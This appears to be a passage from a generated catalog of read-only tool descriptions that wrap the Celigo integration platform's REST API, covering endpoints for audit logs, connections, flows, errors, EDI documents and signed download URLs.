/v1/apis/{_id}/requests/{executionId}/logs/signedURL GET /api/v1/celigo/v1/apis/{_id}/requests/{executionId}/logs/signedURL. Scopes: api. celigo_get_v1_apis_by_id_template (read) — Get a downloadable template for an API -- Packages a builder-mode API as an installable template and returns a signed S3 URL where the template `.zip` can be downloaded. The URL is pre-signed and short-lived (approximately 15 minutes), so fetch the file promptly; call the endpoint again for a fresh URL. The `.zip` contains the API definition plus every resource it references — imports, exports, connections, and scripts — grouped into one folder per resource type, with an `integration.json` manifest at the root. Only **builder-type** APIs can be exported — requesting a script-type API returns 404, the same as an unknown id. Requires the `create:api:template` permission. via GET /v1/apis/{_id}/template GET /api/v1/celigo/v1/apis/{_id}/template. Scopes: api. celigo_get_v1_apis_by_id_test_run_by_runid_by_stepid (read) — Get a step's stages from an API test run -- Returns the per-stage execution detail for a single step of a completed API test run. `runId` is the parent `flowJob._id` returned by `POST /v1/apis/{_id}/test/run`, and `_stepId` is the step id surfaced in that run's `metadata` map. Each entry in `stages[]` carries the stage `name` (e.g. `request`, `parse`, `router`) plus its `input`, `output`, and `errors`. Stages that did not produce data for a given direction return `null` for that field. Top-level `errors` aggregates step-level errors. via GET /v1/apis/{_id}/test/run/{runId}/{_stepId} GET /api/v1/celigo/v1/apis/{_id}/test/run/{runId}/{_stepId}. Scopes: api. celigo_get_v1_apis_by_id_test_run_by_runid_by_stepid_logs_requestandresponse (read) — Get request/response captures for an API test-run step -- Returns the request/response captures recorded for a single export or import step of an API test run. `runId` is the parent `flowJob._id` from `POST /v1/apis/{_id}/test/run`, and `_stepId` is the step id from that run's `metadata` map. Each entry in `requests[]` is a summary identified by an opaque `key`; fetch the full decoded request/response envelope with `GET /v1/apis/{_id}/{_stepId}/requests/{key}`. A step id that is not an export or import (such as a router) returns a 400 `invalid_ref`, and a step that captured no request/response data returns a 404 `req_res_logs_not_found`. via GET /v1/apis/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse GET /api/v1/celigo/v1/apis/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse. Scopes: api. celigo_get_v1_apis_usage (read) — List month-to-date API invocation counts -- Returns one invocation-counter record per resource + method + relativeURI in the current month. Counts API-style invocations across every resource type that exposes an HTTP-callable endpoint: custom APIs (builder and script), individual exports/imports called via `/invoke`, virtual imports, and APIM-fronted invocations. The endpoint aggregates -- it does not return one record per individual call. Each entry rolls up every invocation of that (resource, method, URI) triple in the current month. Counters reset on the 1st of each month; there is no pagination and no historical-months filter on this path. `ioInvocationCount` bills against the Celigo subscription; `apimInvocationCount` is billed separately for external APIM passthrough. To find the resource behind a row, read `metadata._resourceId` (present for exports/imports) or parse the resource id out of `relativeURI`. via GET /v1/apis/usage GET /api/v1/celigo/v1/apis/usage. Scopes: api. celigo_get_v1_applications (read) — List applications in use -- Returns every external application that has at least one connection in the account, grouped with summaries of those connections. via GET /v1/applications GET /api/v1/celigo/v1/applications. Scopes: api. celigo_get_v1_ashares (read) — List users -- Returns all users with access to the account. The account owner is not included — only invited users appear. via GET /v1/ashares GET /api/v1/celigo/v1/ashares. Scopes: api. celigo_get_v1_ashares_by_id (read) — Get a user -- Retrieve a single user's access record by its id. via GET /v1/ashares/{_id} GET /api/v1/celigo/v1/ashares/{_id}. Scopes: api. celigo_get_v1_asynchelpers (read) — List async helpers -- Returns an array of all async helper resources in the account. via GET /v1/asynchelpers GET /api/v1/celigo/v1/asynchelpers. Scopes: api. celigo_get_v1_asynchelpers_by_id (read) — Get an async helper -- Returns a single async helper resource by its ID. via GET /v1/asynchelpers/{_id} GET /api/v1/celigo/v1/asynchelpers/{_id}. Scopes: api. celigo_get_v1_asynchelpers_by_id_dependencies (read) — List dependencies of an async helper -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` for both zero-dependency and nonexistent IDs. via GET /v1/asynchelpers/{_id}/dependencies GET /api/v1/celigo/v1/asynchelpers/{_id}/dependencies. Scopes: api. celigo_get_v1_audit (read) — Query audit logs -- Search audit log entries across all resources in the current account. Use this to answer "what changed?" across the account — filter by resource type, user, source, action, or time range. Results are ordered newest-first. Filtering by `resourceType` + `_resourceId` returns entries for that exact resource only — to include descendants (e.g. an integration's flows and exports), use `GET /v1/{resourceType}/{_id}/audit` instead. `_resourceId` requires `resourceType` to also be set. via GET /v1/audit GET /api/v1/celigo/v1/audit. Scopes: api. celigo_get_v1_audit_signedurl (read) — Get signed URL to download audit logs CSV (all documents) -- Generates a signed URL for downloading a CSV export of audit logs across all documents. The CSV columns are: Time, Source, User, Resource, Name/ID, Action, Field, Old value, New value, Support. The signed URL expires after 15 minutes. When `hasMore` is true, pass the last CSV row's timestamp as `to` to fetch the next batch. via GET /v1/audit/signedURL GET /api/v1/celigo/v1/audit/signedURL. Scopes: api. celigo_get_v1_by_resourcetype_by_id_audit (read) — Get audit log for a resource (and descendants) -- Returns audit log entries for a specific resource and its descendants. For example, querying an integration returns changes to the integration, its flows, exports, imports, and connections. For account-wide searches, use `GET /v1/audit` instead. via GET /v1/{resourceType}/{_id}/audit GET /api/v1/celigo/v1/{resourceType}/{_id}/audit. Scopes: api. celigo_get_v1_by_resourcetype_by_resourceid_state (read) — List state keys for a resource -- Returns the list of state key names stored under the specified resource. These keys are separate from global state. Returns `204 No Content` when no keys exist for the resource. Only `exports`, `imports`, and `integrations` support resource-scoped state. Other resource types return `403`. This only lists key names, not values. Call `GET /v1/{resourceType}/{_resourceId}/state/{key}` to retrieve a specific value. via GET /v1/{resourceType}/{_resourceId}/state GET /api/v1/celigo/v1/{resourceType}/{_resourceId}/state. Scopes: api. celigo_get_v1_by_resourcetype_by_resourceid_state_by_key (read) — Get a resource-scoped state value -- Returns the JSON value stored under the given key for a specific resource. Only `exports`, `imports`, and `integrations` support resource-scoped state. Returns the raw JSON value (object or array), not wrapped in an envelope. A 403 means the resource type doesn't support state, not a permissions issue. via GET /v1/{resourceType}/{_resourceId}/state/{key} GET /api/v1/celigo/v1/{resourceType}/{_resourceId}/state/{key}. Scopes: api. celigo_get_v1_connection_by_id_oauth2 (read) — Get the authorization URL to re-authorize a connection -- Returns a short-lived authorization URL for running (or re-running) the OAuth handshake behind this connection. Redirect the end user to it; once they consent, Celigo's callback writes the tokens back and flips `needsAuthorization` to `false`. The single `authorizationUrl` response field serves both OAuth 2.0 and OAuth 1.0a connections (NetSuite returns an OAuth 1.0a URL with an `oauth_token` parameter). Note the resource segment is singular — `/v1/connection/{_id}/oauth2`, not plural. The URL's `state` token is one-time and expires quickly, so request a fresh one if the flow is interrupted, then poll `GET /v1/connections/{_id}` until `needsAuthorization` is `false`. via GET /v1/connection/{_id}/oauth2 GET /api/v1/celigo/v1/connection/{_id}/oauth2. Scopes: api. celigo_get_v1_connections (read) — List connections -- Returns a list of all connections configured in the account. If no connections exist in the account, a 204 response with no body will be returned. via GET /v1/connections GET /api/v1/celigo/v1/connections. Scopes: api. celigo_get_v1_connections_by_id (read) — Get a connection -- Retrieves a specific connection by its unique identifier. Returns the complete connection configuration including authentication settings. via GET /v1/connections/{_id} GET /api/v1/celigo/v1/connections/{_id}. Scopes: api. celigo_get_v1_connections_by_id_debug (read) — Fetch debug logs for a connection -- Returns the buffered debug log stream for the connection — request/response pairs from recent exports, imports, and lookups that used it. Capture is gated by the connection's `debugDate`: logs are recorded only while `debugDate` is in the future, so enable it first via `PUT /v1/connections/{_id}` or the buffer stays empty. The response is a plain-text stream (not JSON): each entry is a header line (`timestamp traceKey resourceType resourceId`) followed by a single-line JSON payload, entries separated by blank lines; paired request/response entries share a `traceKey`. Logs are shared across every flow using the connection (filter by `resourceId` client-side), and sensitive header values are redacted (`"Authorization": "********"`). For execution logs tied to a specific run, use `GET /v1/flows/{_id}/jobs/{_jobId}/logs` instead. via GET /v1/connections/{_id}/debug GET /api/v1/celigo/v1/connections/{_id}/debug. Scopes: api. celigo_get_v1_connections_by_id_dependencies (read) — List dependencies of a connection -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` for both zero-dependency and nonexistent IDs. via GET /v1/connections/{_id}/dependencies GET /api/v1/celigo/v1/connections/{_id}/dependencies. Scopes: api. celigo_get_v1_connectors (read) — List connectors -- Returns all connectors owned by the authenticated Partner account. **Partner-only endpoint.** via GET /v1/connectors GET /api/v1/celigo/v1/connectors. Scopes: api. celigo_get_v1_connectors_by_id (read) — Get a connector -- Returns a single connector by ID. **Partner-only endpoint.** via GET /v1/connectors/{_id} GET /api/v1/celigo/v1/connectors/{_id}. Scopes: api. celigo_get_v1_connectors_by_id_installbase (read) — Get the install base for a connector -- Returns the list of accounts that have installed this connector. **Partner-only endpoint.** via GET /v1/connectors/{_id}/installBase GET /api/v1/celigo/v1/connectors/{_id}/installBase. Scopes: api. celigo_get_v1_connectors_by_id_licenses (read) — List licenses for a connector -- Returns all licenses issued for this connector. **Partner-only endpoint.** via GET /v1/connectors/{_id}/licenses GET /api/v1/celigo/v1/connectors/{_id}/licenses. Scopes: api. celigo_get_v1_connectors_by_id_licenses_by_licenseid (read) — Get a license -- Returns a specific license for a connector. **Partner-only endpoint.** via GET /v1/connectors/{_id}/licenses/{_licenseId} GET /api/v1/celigo/v1/connectors/{_id}/licenses/{_licenseId}. Scopes: api. celigo_get_v1_connectors_by_id_preview (read) — Preview a connector install -- Returns a preview of what installing this connector would produce. The connector must be associated with an integration that has the install function configured. via GET /v1/connectors/{_id}/preview GET /api/v1/celigo/v1/connectors/{_id}/preview. Scopes: api. celigo_get_v1_di_metadata_connections_by_connectionid_datasets (read) — List datasets available on a connection -- Returns the catalog of tables/objects a connection's application exposes for syncing, plus the connection's existing export resources that can back export-based datasets. Use the returned `name` values as `externalId` when creating datasets via `PUT /v1/syncs/{_syncId}/datasets`. via GET /v1/di/metadata/connections/{_connectionId}/datasets GET /api/v1/celigo/v1/di/metadata/connections/{_connectionId}/datasets. Scopes: api. celigo_get_v1_di_metadata_connections_by_connectionid_datasets_by_datasetname_details (read) — Get column details for a dataset on a connection -- Returns the full column/field catalog for one table/object on a connection, as read from the source application. Use it to build the `dataElements` selection before saving a dataset via `PUT /v1/syncs/{_syncId}/datasets` — each element's `name` here is the `name` to reference there. via GET /v1/di/metadata/connections/{_connectionId}/datasets/{datasetName}/details GET /api/v1/celigo/v1/di/metadata/connections/{_connectionId}/datasets/{datasetName}/details. Scopes: api. celigo_get_v1_di_metadata_destinations (read) — List supported sync destination applications -- Returns the catalog of applications that can be used as the **destination** of a sync — the data warehouse a sync loads records into. Use the returned `id` as the destination application when building a sync. Identifiers include `snowflake` (Snowflake), `nsaw` (NetSuite Analytics Warehouse), and `bigquery` (Google BigQuery). via GET /v1/di/metadata/destinations GET /api/v1/celigo/v1/di/metadata/destinations. Scopes: api. celigo_get_v1_di_metadata_sources (read) — List supported sync source applications -- Returns the catalog of applications that can be used as the **source** of a sync — the system a sync extracts records from. Use the returned `id` as the source application when building a sync, and `category` to group the options in a picker. via GET /v1/di/metadata/sources GET /api/v1/celigo/v1/di/metadata/sources. Scopes: api. celigo_get_v1_di_metadata_sync_by_syncid_connections_by_connectionid_datasets (read) — List a connection's datasets merged with a sync's configuration -- Returns the connection's full dataset catalog with the sync's saved configuration merged in: catalog entries the sync already replicates carry their stored dataset fields (`_id`, `enable`, `ingestionMode`, …) plus computed `totalFieldCount` and `selectedFieldCount`, while unsaved entries appear with catalog fields only. `dataElements` arrays are stripped from every item to keep the payload small — read one item's columns with the sync-scoped details endpoint. Use this to render or reconcile a sync's dataset selection; for just the saved datasets, `GET /v1/syncs/{_syncId}/datasets` is lighter. via GET /v1/di/metadata/sync/{_syncId}/connections/{_connectionId}/datasets GET /api/v1/celigo/v1/di/metadata/sync/{_syncId}/connections/{_connectionId}/datasets. Scopes: api. celigo_get_v1_di_metadata_sync_by_syncid_connections_by_connectionid_datasets_by_datasetname_details (read) — Get column details for a dataset in a sync's context -- Returns one table/object's full column catalog from the source, merged with the sync's saved dataset state — enablement, `ingestionMode`, `exportProperties`, drift policy, and per-column selections. Use it to edit a dataset's `dataElements` with the current source schema and saved selections in one payload. via GET /v1/di/metadata/sync/{_syncId}/connections/{_connectionId}/datasets/{datasetName}/details GET /api/v1/celigo/v1/di/metadata/sync/{_syncId}/connections/{_connectionId}/datasets/{datasetName}/details. Scopes: api. celigo_get_v1_di_resource_syncs_by_syncid_events (read) — List events for a sync -- Returns the events recorded for a sync across all of its runs — schema drift the platform detected or applied, and data-catalog activity — newest first. Events are retained per the account's data retention period; a `time_lte` older than the retention window returns an empty list. via GET /v1/di/resource/syncs/{_syncId}/events GET /api/v1/celigo/v1/di/resource/syncs/{_syncId}/events. Scopes: api. celigo_get_v1_edi_documents_by_documentnumber_edifile (read) — Download an EDI file -- Downloads the raw EDI file content for a specific document number. The `documentType` query parameter is required and must be the EDI document type code — for X12, the numeric transaction-set ID as a string (e.g. `850`, `810`, `856`, `997`); for EDIFACT, the UNH01 message type (e.g. `ORDERS`, `INVOIC`, `DESADV`, `CONTRL`). The server uses `documentType` + `documentNumber` together to locate the transaction record and return the associated raw EDI file. Get `documentNumber` and `documentType` from a transaction record returned by `POST /v1/ediTransactions/query`. Alternatively, download via `POST /v1/jobs/{_flowJobId}/files/signedURL` using the `s3Key` from the transaction record. via GET /v1/edi/documents/{documentNumber}/ediFile GET /api/v1/celigo/v1/edi/documents/{documentNumber}/ediFile. Scopes: api. celigo_get_v1_edilabelprinting_usage_summary (read) — Get historic label-printing usage -- Returns account-wide EDI label-printing (BarTender) consumption bucketed into the trailing 12 ISO weeks (Monday–Sunday UTC), most-recent week first. Each week's total sums every flow and environment under the account. Pair with the `ediLabelPrintingUsage` block on `GET /v1/licenseEntitlementUsage` for the current week's per-flow breakdown. via GET /v1/ediLabelPrinting/usage/summary GET /api/v1/celigo/v1/ediLabelPrinting/usage/summary. Scopes: api. celigo_get_v1_ediprofiles (read) — List EDI profiles -- Returns all EDI profiles configured in the account. via GET /v1/ediprofiles GET /api/v1/celigo/v1/ediprofiles. Scopes: api. celigo_get_v1_ediprofiles_by_id (read) — Get an EDI profile -- Returns a specific EDI profile. via GET /v1/ediprofiles/{_id} GET /api/v1/celigo/v1/ediprofiles/{_id}. Scopes: api. celigo_get_v1_ediprofiles_by_id_dependencies (read) — List dependencies of an EDI profile -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` when no dependents exist, including for well-formatted but nonexistent IDs. via GET /v1/ediprofiles/{_id}/dependencies GET /api/v1/celigo/v1/ediprofiles/{_id}/dependencies. Scopes: api. celigo_get_v1_editransactions_by_editransactionid_fadetails (read) — Get FA details for an EDI transaction -- Returns functional acknowledgment (FA) details for a specific EDI transaction. FA details are only available for transactions with a "Rejected" status in B2B Manager. via GET /v1/ediTransactions/{_ediTransactionId}/faDetails GET /api/v1/celigo/v1/ediTransactions/{_ediTransactionId}/faDetails. Scopes: api. celigo_get_v1_editransactions_by_editransactionid_mdn (read) — Get MDN details for an EDI transaction -- Returns AS2 Message Disposition Notification (MDN) metadata for a specific EDI transaction record from the B2B Manager dashboard. The server reads the stored MDN artifact associated with the transaction and returns its raw body text together with a parsed disposition classification. Get `_id` from a record returned by `POST /v1/ediTransactions/query`. via GET /v1/ediTransactions/{_ediTransactionId}/mdn GET /api/v1/celigo/v1/ediTransactions/{_ediTransactionId}/mdn. Scopes: api. celigo_get_v1_endusers (read) — List end users -- Returns the account's end users with identity fields (`email`, `name`, `lastSignIn`) joined from each user record, plus a computed `hasWorkspaceShare` flag indicating whether the same person also holds a workspace access record. Requires account owner or administrator access. via GET /v1/endusers GET /api/v1/celigo/v1/endusers. Scopes: api. celigo_get_v1_endusers_by_ashareid_effective_access (read) — Get an end user's effective access -- Compiles the end user's effective MCP server tool access with source attribution — the union of direct grants, group grants, role grants, and permission sets. The result is recomputed on every request rather than cached. Requires account owner or administrator access. via GET /v1/endusers/{_ashareId}/effective-access GET /api/v1/celigo/v1/endusers/{_ashareId}/effective-access. Scopes: api. celigo_get_v1_environments (read) — List environments -- Returns all environments in the account. Requires the environments feature to be enabled -- accounts without it receive `feature_not_enabled`. Every account with the feature has at least one environment (Production). The full list is returned in a single unpaginated response. via GET /v1/environments GET /api/v1/celigo/v1/environments. Scopes: api. celigo_get_v1_environments_by_id (read) — Get an environment -- Retrieves a single environment by ID. via GET /v1/environments/{_id} GET /api/v1/celigo/v1/environments/{_id}. Scopes: api. celigo_get_v1_errors_filtermetadata (read) — Get static filter enum metadata for errors -- Returns the static enumeration values used to filter errors across the platform. The response is not scoped to the authenticated user — every caller receives the same set of filter dimensions and allowed values. Currently returns two filter dimensions: - **source** (24 values): `internal`, `application`, `connection`, `resource`, `transformation`, `output_filter`, `input_filter`, `import_filter`, `lookup`, `mapping`, `response_mapping`, `pre_save_page_hook`, `pre_parse_hook`, `pre_map_hook`, `post_map_hook`, `post_submit_hook`, `post_response_map_hook`, `post_aggregate_hook`, `pre_send_hook_ss`, `pre_map_hook_ss`, `post_map_hook_ss`, `post_submit_hook_ss`, `tool_input`, `tool_output`. - **classification** (10 values): `connection`, `duplicate`, `governance`, `intermittent`, `missing`, `parse`, `value`, `rate_limit`, `too_large`, `none`. The values are static and identical for all callers — cache them aggressively. via GET /v1/errors/filterMetadata GET /api/v1/celigo/v1/errors/filterMetadata. Scopes: api. celigo_get_v1_eventreports (read) — List event reports -- Returns all event report objects for the account. No pagination or filtering is supported — query parameters like `eventReportId`, `_limit`, and `status` are accepted but silently ignored. via GET /v1/eventreports GET /api/v1/celigo/v1/eventreports. Scopes: api. celigo_get_v1_eventreports_by_id (read) — Get an event report -- Returns a single event report by ID. Check `status` for `completed` before attempting to download via the signed URL. The `reportGenerationErrors` array may contain per-flow errors even when the overall status is `completed`. via GET /v1/eventreports/{_id} GET /api/v1/celigo/v1/eventreports/{_id}. Scopes: api. celigo_get_v1_eventreports_by_id_signedurl (read) — Get signed URL for an event report -- Returns a pre-signed S3 URL for downloading the completed event report as a CSV file. The URL is valid for approximately 15 minutes. Only works when the report `status` is `completed` -- requesting it in any other status returns 400. If the URL has expired, call this endpoint again to get a fresh one. via GET /v1/eventreports/{_id}/signedURL GET /api/v1/celigo/v1/eventreports/{_id}/signedURL. Scopes: api. celigo_get_v1_exports (read) — List exports -- Returns a list of all exports configured in the account. If no exports exist in the account, a 204 response with no body will be returned. via GET /v1/exports GET /api/v1/celigo/v1/exports. Scopes: api. celigo_get_v1_exports_by_id (read) — Get an export -- Returns the complete configuration of a specific export. via GET /v1/exports/{_id} GET /api/v1/celigo/v1/exports/{_id}. Scopes: api. celigo_get_v1_exports_by_id_dependencies (read) — List dependencies of an export -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` when no dependents exist, including for well-formatted but nonexistent IDs. via GET /v1/exports/{_id}/dependencies GET /api/v1/celigo/v1/exports/{_id}/dependencies. Scopes: api. celigo_get_v1_filedefinitions (read) — List file definitions -- Returns file definitions configured in the account. via GET /v1/filedefinitions GET /api/v1/celigo/v1/filedefinitions. Scopes: api. celigo_get_v1_filedefinitions_by_id (read) — Get a file definition -- Returns the complete configuration including parsing rules. via GET /v1/filedefinitions/{_id} GET /api/v1/celigo/v1/filedefinitions/{_id}. Scopes: api. celigo_get_v1_filedefinitions_by_id_dependencies (read) — List dependencies of a file definition -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` when no dependents exist, including for well-formatted but nonexistent IDs. via GET /v1/filedefinitions/{_id}/dependencies GET /api/v1/celigo/v1/filedefinitions/{_id}/dependencies. Scopes: api. celigo_get_v1_flows (read) — List flows -- Returns all flows in the account. via GET /v1/flows GET /api/v1/celigo/v1/flows. Scopes: api. celigo_get_v1_flows_by_id (read) — Get a flow -- Returns the complete configuration of a flow, including its page generators, processors, routers, schedule, and all nested settings. Walk `pageGenerators[]._exportId` and `pageProcessors[]._importId` (or `routers[].branches[].pageProcessors[]`) to discover the exports and imports wired into the flow. For the full resource objects, use `GET /v1/flows/{_id}/descendants` instead of fetching each one individually. Instance flows (`_abstractFlowId` is set) have sparse top-level fields because the runtime merges them with the abstract flow's config. via GET /v1/flows/{_id} GET /api/v1/celigo/v1/flows/{_id}. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_by_retrydatakey_data (read) — Get the stored retry-data snapshot for an error -- Returns the per-record snapshot the runtime captured at the moment of failure — the shape that `POST .../retry` re-feeds into the flow pipeline. The response is an envelope: `data` carries the adaptor-specific record payload; surrounding fields (`stage`, `pgExportId`, `oneToMany`, `pathToMany`, `childIndex`, `traceKey`) identify where in the pipeline the record was when it failed and how it's structured. The `data` field shows exactly the payload the runtime tried to submit — compare it against the source system to pinpoint transformation drift. Use `PUT .../{retryDataKey}/data` to mutate the snapshot before retrying. Only errors with a `retryDataKey` expose this endpoint; connection-class errors are rejected with `no_retrydata_found`. The `stage` field indicates where the retry will resume: `page_processor_import` re-runs the import (most common), `page_generator` means the error was upstream of the processor. via GET /v1/flows/{_id}/{_stepId}/{retryDataKey}/data GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/{retryDataKey}/data. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_by_retrydatakey_signedurl (read) — Get a signed URL to download file-type retry data -- Returns a pre-signed S3 URL for downloading the raw retry data file associated with an error. This only works for **file-type** retry data (e.g. file-based exports/imports). For standard record-based retry data, use `GET .../{ retryDataKey}/data` instead. File-based adaptors (FTP, S3, etc.) store retry data as files; record-based adaptors store JSON snapshots accessible via `GET .../{ retryDataKey}/data` instead. The signed URL requires no auth headers. via GET /v1/flows/{_id}/{_stepId}/{retryDataKey}/signedURL GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/{retryDataKey}/signedURL. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_errors (read) — List open errors on a flow step -- Returns one page of currently-open (unresolved) errors for a single step (export or import) within a flow. The step id is the `_exportId` / `_importId` from the flow's `pageGenerators[]`, `pageProcessors[]`, or `routers[].branches[].pageProcessors[]`. For a flow-wide rollup (per-step counts only), use `GET /v1/flows/{_id}/errors` instead. To scope the list to one specific run, pass `_flowJobId` together with the required `occurredAt_gte`. Errors with a `retryDataKey` are retryable via `POST .../retry`; connection-level errors typically lack one and require a full flow rerun to recover. via GET /v1/flows/{_id}/{_stepId}/errors GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/errors. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_errors_signedurl (read) — Get a signed URL to download open errors as CSV -- Returns a pre-signed S3 URL that streams all currently-open errors for a flow step as a CSV file. The URL expires after approximately 15 minutes. The CSV always includes a header row, even when the step has zero open errors. CSV columns: `occurredAt`, `source`, `code`, `message`, `traceKey`, `exportDataURI`, `importDataURI`, `oIndex`, `retryDataKey`, `errorId`, `legacyId`, `reqAndResKey`, `purgeAt`, `tags`, `assignedTo`, `assignedBy`, `_assignedToUserId`. The signed URL requires no auth headers — do not attach your bearer token when fetching the CSV. via GET /v1/flows/{_id}/{_stepId}/errors/signedURL GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/errors/signedURL. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_requests (read) — List stored HTTP request/response traces for a flow step -- Returns a paginated list of HTTP request/response trace metadata for a flow step, filtered by time window, status code, method, and/or pipeline stage. Each entry contains summary metadata — use `GET .../requests/{reqAndResKey}` to fetch the full decoded request/response pair for a specific trace. **Important:** Time parameters (`time_lte`, `time_gt`) must be epoch milliseconds (integers), not ISO 8601 strings. Use `GET .../requests/{reqAndResKey}` to drill into individual request/response bodies. `statusCode` is returned as a string, not an integer. For oversized bodies stored in S3, follow up with `GET .../requests/{key}/files/signedURL`. via GET /v1/flows/{_id}/{_stepId}/requests GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/requests. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_requests_by_key_files_signedurl (read) — Get a signed URL for an oversized request/response body -- Returns a pre-signed S3 URL for downloading the full request or response body when it was too large to store inline in the trace record. Most request/response pairs have inline bodies accessible via `GET .../requests/{reqAndResKey}` — this endpoint is only needed for the subset where the body was offloaded to S3 due to size. Call `GET .../requests/{reqAndResKey}` first. If `request.body` or `response.body` is truncated or missing, use this endpoint to fetch the full payload from S3. via GET /v1/flows/{_id}/{_stepId}/requests/{key}/files/signedURL GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/requests/{key}/files/signedURL. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_requests_by_reqandreskey (read) — Get the HTTP request/response for an errored record -- Returns the decoded HTTP request and response the runtime captured at the moment an error occurred, looked up by the opaque `reqAndResKey` found on each error in `GET .../errors`. Sensitive values are masked **before** storage — query-string credentials, `Authorization` headers, OAuth bearer tokens, and similar are rendered as `********`. You cannot recover the original values from this endpoint. The `time` and `response.receivedAt` fields are epoch milliseconds, useful for correlating with target-system logs. Not every error has a stored trace — record-level errors from non-HTTP adaptors (e.g. NetSuite distributed imports) lack a `reqAndResKey`. via GET /v1/flows/{_id}/{_stepId}/requests/{reqAndResKey} GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/requests/{reqAndResKey}. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_resolved (read) — List resolved errors on a flow step -- Returns one page of already-resolved errors for a flow step (same shape as the open-errors listing). Errors arrive here either because a user marked them resolved (`PUT .../resolved`) or because a successful retry auto-resolved them. The platform retains resolved errors through the account's retention window; use `DELETE .../resolved` to purge them earlier. `resolvedBy` distinguishes how each error was closed: `auto` means a system-initiated auto-retry cleared it; a user ID means the error was resolved manually or via a user-triggered retry. via GET /v1/flows/{_id}/{_stepId}/resolved GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/resolved. Scopes: api. celigo_get_v1_flows_by_id_by_stepid_resolved_signedurl (read) — Get a signed URL to download resolved errors as CSV -- Returns a pre-signed S3 URL that streams all resolved errors for a flow step as a CSV file. The URL expires after approximately 15 minutes. The CSV always includes a header row, even when there are zero resolved errors. The CSV includes the same columns as the open-errors signed URL, plus two prepended columns: `resolvedAt` and `resolvedBy`. Full CSV columns: `resolvedAt`, `resolvedBy`, `occurredAt`, `source`, `code`, `message`, `traceKey`, `exportDataURI`, `importDataURI`, `oIndex`, `retryDataKey`, `errorId`, `legacyId`, `reqAndResKey`, `purgeAt`, `tags`, `assignedTo`, `assignedBy`, `_assignedToUserId`. For currently-open errors, use `GET .../errors/signedURL` instead. via GET /v1/flows/{_id}/{_stepId}/resolved/signedURL GET /api/v1/celigo/v1/flows/{_id}/{_stepId}/resolved/signedURL. Scopes: api. celigo_get_v1_flows_by_id_clone_preview (read) — Preview cloning a flow -- Returns a preview of resources that would be created by cloning this flow — the target flow and all transitive dependencies (connections, exports, imports, scripts, async helpers, lookup caches). No resources are created. Call this before `POST /v1/flows/{_id}/clone` to discover which connections need remapping in the `connectionMap` body field. via GET /v1/flows/{_id}/clone/preview GET /api/v1/celigo/v1/flows/{_id}/clone/preview. Scopes: api. celigo_get_v1_flows_by_id_dependencies (read) — List dependencies of a flow -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. An empty object `{}` means no other resources depend on the target — this is also returned for a well-formatted but nonexistent id. via GET /v1/flows/{_id}/dependencies GET /api/v1/celigo/v1/flows/{_id}/dependencies. Scopes: api. celigo_get_v1_flows_by_id_descendants (read) — Get a flow's descendant resources -- Returns the full resource objects for every import, export, and tool referenced by the flow. This is a convenience endpoint that resolves the flow's entire dependency tree in a single call — equivalent to reading the flow config and then fetching each referenced resource individually, but without the N+1 round-trips. The returned arrays mirror the full resource shapes from `GET /v1/imports/{_id}`, `GET /v1/exports/{_id}`, and `GET /v1/tools/{_id}`. via GET /v1/flows/{_id}/descendants GET /api/v1/celigo/v1/flows/{_id}/descendants. Scopes: api. celigo_get_v1_flows_by_id_errors (read) — Summarize open errors across a flow's steps -- Returns a per-step count of currently open (unresolved) errors for the flow. Each entry carries the step id and its open-error count; entries with zero errors still appear so the caller sees the full step roster. For the full list of error records on a single step, call `GET /v1/flows/{_id}/{_stepId}/errors`. For a whole-integration rollup, use `GET /v1/integrations/{_id}/errors`. `lastErrorAt` is only populated on entries with `numError > 0`. via GET /v1/flows/{_id}/errors GET /api/v1/celigo/v1/flows/{_id}/errors. Scopes: api. celigo_get_v1_flows_by_id_jobs_by_jobid_by_stepid_logs_by_recordid_children (read) — List child log records for a parent record -- Returns one page of child log records for a specific parent record within a flow-run step. Child records represent sub-operations (e.g. individual batch items, lookup expansions, or retry attempts) spawned by the parent record during step processing. Use the `status` query parameter to isolate failures within a batch. via GET /v1/flows/{_id}/jobs/{_jobId}/{_stepId}/logs/{recordId}/children GET /api/v1/celigo/v1/flows/{_id}/jobs/{_jobId}/{_stepId}/logs/{recordId}/children. Scopes: api. celigo_get_v1_flows_by_id_jobs_by_jobid_logs (read) — List execution log entries for a flow run -- Returns one page of execution-log entries for a specific flow run — one entry per record-at-step (export or import). Entries carry the `(_expOrImpId, groupId, recordId, traceKey)` tuple needed to drill into per-stage metadata and data via the `logs/metadata/query` and `logs/data/query` endpoints. Execution logs are populated only when the flow has logging enabled (either full `logMode` or the time-bounded `logging.debugUntil` debug window). Jobs older than the flow's log retention window will return an empty `logs` array. For detailed per-stage data (HTTP request/response, script `options.logs` output), pick an entry and call `POST .../logs/data/query` with the corresponding `stage`. To stitch an export entry to its downstream imports, use the `traceKey` with `POST .../logs/metadata/query`. via GET 